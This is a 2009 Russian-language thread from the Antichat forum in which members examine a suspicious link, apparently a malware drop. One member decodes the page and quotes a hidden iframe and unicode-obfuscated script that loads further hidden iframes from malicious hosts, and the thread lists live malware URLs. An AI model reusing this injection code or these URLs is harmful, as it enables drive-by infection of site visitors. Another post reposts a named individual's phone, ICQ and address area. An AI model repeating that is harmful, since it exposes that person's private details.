Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Болталка (https://forum.antichat.xyz/forumdisplay.php?f=46)
-   -   подозрительный файлик (https://forum.antichat.xyz/showthread.php?t=116753)

N19hTW0lF 20.04.2009 00:16
подозрительный файлик
 
http://yehoshua-m.com/media/00500/
че за фигня ?

gold-goblin 20.04.2009 00:17
мазила ругается на сайт....

Shisha 20.04.2009 00:19
смотреть стремно :/

N19hTW0lF 20.04.2009 00:20
Бот Зеуса

IcEnd 20.04.2009 00:22
Имеется информация, что этот сайт атакует компьютеры!
Цитата:
Сайты, атакующие компьютеры, пытаются установить программное обеспечение, которое похищает персональную информацию, вредит вашей системе или использует ваш компьютер для атак на другие компьютеры.

Shisha 20.04.2009 00:23
Цитата:
Бот Зеуса
ты? :D

N19hTW0lF 20.04.2009 00:24
Denix (00:39:40 20/04/2009)
http://yehoshua-m.com/media/00500/
посмотри, классная вещь! вроде оно
--------------------------------------
nick: Denix
icq:83575777
mobile: +998971197403
Adress:Республика Узбекистан .Город:Ташкент.М-Улугбекский р-н
name:Коловский Д.

Ппц...эт уже второй кто хочет впарить троя.-\

Not Found... 20.04.2009 00:31
Не советую ходить по ссылке..на сайте несколько троянов и даже один эксплойт :)

N19hTW0lF 20.04.2009 00:36
У каво дедик или виртуалка то попробуйте открыть может чел не знал (т.е. вместе с трояном там какойто ролик) чтобы я знал что он не специально отправил мну трой.
Если специально то утром кое куда звякну...а то достали.

gold-goblin 20.04.2009 00:44
я прошел но не качал....
Прямо по ссылке сплойт + предложение что-то скачать + отзывы типо мне понравилось и т.д

Not Found... 20.04.2009 00:45
Видео:http://depositfiles.com/files/mjfl5oc1l
Выводы делай сам)
Да совсем забыл..файл который можно скачать с сайта,это тоже троян.
http://s57.radikal.ru/i155/0904/d3/3af5c0ba03c9.jpg

Rav1n 20.04.2009 06:36
ты ебанулся такие ссылки выкладывать? ща всех нубов затроянишь))
тебе пришла рассылка по КЛ, а ты повёлся :D

Цитата:
У каво дедик или виртуалка то попробуйте открыть может чел не знал (т.е. вместе с трояном там какойто ролик) чтобы я знал что он не специально отправил мну трой.
Регистрация: 11.07.2007
ппц......

ViP-K1LLeR 20.04.2009 07:01
Цитата:
У каво дедик или виртуалка то попробуйте открыть может чел не знал (т.е. вместе с трояном там какойто ролик) чтобы я знал что он не специально отправил мну трой.
Смысла в виртуалке/дедике нет, т.к связка использует уязвимости браузера и если граббить контент со страницы, не выводя содержимое страницы в браузер, то ничего страшного не случится.

по ссылке стоит ифрейм.

Цитата:
<iframe src="http://linenetz.com/stats/ru1.php" style="display:none"></iframe>
далее:

Цитата:
<script type="text/javascript">document.write('\u003c\u0069\u0066\u00 72\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d \u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u 006d\u0079\u0066\u0075\u0063\u006b\u0069\u006e\u00 67\u002d\u0070\u0075\u0073\u0073\u0079\u002e\u0063 \u006f\u006d\u002f\u0074\u0079\u0072\u0065\u006b\u 002f\u003f\u0074\u003d\u0038\u0022\u0020\u0073\u00 74\u0079\u006c\u0065\u003d\u0022\u0064\u0069\u0073 \u0070\u006c\u0061\u0079\u003a\u006e\u006f\u006e\u 0065\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u00 61\u006d\u0065\u003e')</script>
расшифровываем

Цитата:
<iframe src="http://myfucking-pussy.com/tyrek/?t=8" style="display:none"></iframe>
далее страничка под gzip'ом. Ну а потом мне лень стало. Сами ковыряйте.

X-RayBlade 20.04.2009 08:00
Хотя бы представьте, что бы было, если по каждой ссылке переходили...

Xcontrol212 20.04.2009 08:51
Вроде унипак,если предлогает что-то скачать

Not Found... 20.04.2009 10:27
Цитата:
Сообщение от X-RayBlade
Хотя бы представьте, что бы было, если по каждой ссылке переходили...
Думаю ничего страшного,я вот по каждой хожу и вроде ничего плохого с компом не было :)
Защита хорошая...

waik 20.04.2009 10:32
Цитата:
Сообщение от Not Found...
Думаю ничего страшного,я вот по каждой хожу и вроде ничего плохого с компом не было :)
Защита хорошая...
Это ты так не заметно понтанулся что фаервол смог поставить? :D

Not Found... 20.04.2009 10:37
Цитата:
Сообщение от waik
Это ты так не заметно понтанулся что фаервол смог поставить? :D
Нет конечно...чтото покруче файрвола :)

waik 20.04.2009 10:40
Цитата:
Сообщение от Not Found...
Нет конечно...чтото покруче файрвола :)
инет выключаешь чтоб вирусов небыло и сидишь с телефона наверно.
:)

Not Found... 20.04.2009 10:41
Цитата:
Сообщение от waik
инет выключаешь чтоб вирусов небыло и сидишь с телефона наверно.
:)
Не угадал... :)

IcEnd 20.04.2009 11:32
Цитата:
Сообщение от Not Found...
Не угадал... :)
Онотоле?

Not Found... 20.04.2009 11:33
Цитата:
Сообщение от IcEnd
Онотоле?
Щас чёта не понял..что за Онотоле? :)

.AkeLLa 20.04.2009 12:22
Kaspersky
Internet Security 2009
Доступ запрещен
Запрашиваемый URL-адрес не может быть предоставлен

В запрашиваемом объекте по URL-адресу:

http://yehoshua-m.com/media/00500/

Обнаружена угроза:

объект заражен Trojan.JS.Agent.ze


Пожалуйста, обратитесь к вашему провайдеру, если вы считаете это сообщение ошибочным.
Сообщение создано:
Mon Apr 20 11:21:55 2009
Kaspersky Internet Security 2009

.AkeLLa 20.04.2009 12:25
20.04.2009 11:24:29 Обнаружено: Intrusion.Win.NETAPI.buffer-overflow.exploit Отсутствует TCP от 10.50.1.206 на локальный порт 445

:D

F1shka 20.04.2009 13:03
Мда.... Хочешь прогу для накрутки рейтинга в контакте, весом 34 кб!???

NeXArmAor 20.04.2009 13:06
Цитата:
Сообщение от F1shka
Мда.... Хочешь прогу для накрутки рейтинга в контакте, весом 34 кб!???
Я хочу!111 Кидай!111

F1shka 20.04.2009 13:07
Я чё то в бан не хочу. Хоть бы кто то поздравил ...

GrinGoO 20.04.2009 13:10
Тоже пришла ссылка... Странно... не стал качать


Время: 00:02